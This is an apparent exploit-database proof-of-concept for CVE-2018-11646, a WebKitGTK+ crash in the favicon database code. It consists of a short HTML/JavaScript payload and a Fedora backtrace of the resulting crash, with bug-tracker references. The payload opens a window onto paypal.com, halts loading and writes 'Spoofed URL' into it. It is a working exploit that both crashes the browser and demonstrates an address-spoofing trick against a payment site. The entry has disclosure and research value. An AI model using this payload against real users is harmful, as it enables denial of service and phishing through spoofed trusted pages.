WebKitGTK+ < 2.21.3 - Crash (PoC)

# Title: WebKitGTK+ < 2.21.3 - Crash (PoC) 
# Author: Dhiraj Mishra
# Date: 2018-06-05
# Software: https://webkitgtk.org/
# CVE: CVE-2018-11646
# Summary:
# webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL in 
# UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, 
# mishandle an unset pageURL, leading to an application crash, CVE-2018-11646 was assigned to this issue.

# PoC:

<script>
win = window.open("sleep_one_second.php", "WIN"); 
window.open("https://www.paypal.com", "WIN");  
win.document.execCommand('Stop');              
win.document.write("Spoofed URL");   
win.document.close();
</script>


Backtrace using fedora 27:

#0 WTF::StringImpl::rawHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
#1 WTF::StringImpl::hasHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
#2 WTF::StringImpl::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
#3 WTF::StringHash::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
#9 WTF::HashMap, WTF::HashTraits >::get
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
#10 webkitFaviconDatabaseSetIconURLForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
#11 webkitFaviconDatabaseSetIconForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
#12 webkitWebViewSetIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
#13 WTF::Function::performCallbackWithReturnValue
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
#15 WebKit::WebPageProxy::dataCallback
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
#16 WebKit::WebPageProxy::finishedLoadingIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
#17 IPC::callMemberFunctionImpl::operator()
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
#29 WTF::RunLoop::::_FUN(gpointer)
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
#30 g_main_dispatch
at gmain.c line 3148
#31 g_main_context_dispatch
at gmain.c line 3813
#32 g_main_context_iterate
at gmain.c line 3886
#33 g_main_context_iteration
at gmain.c line 3947x
#34 g_application_run
at gapplication.c line 2401
#35 main
at ../src/ephy-main.c line 432 


# Reference's:
# https://bugs.webkit.org/show_bug.cgi?id=186164
# https://bugzilla.gnome.org/show_bug.cgi?id=795740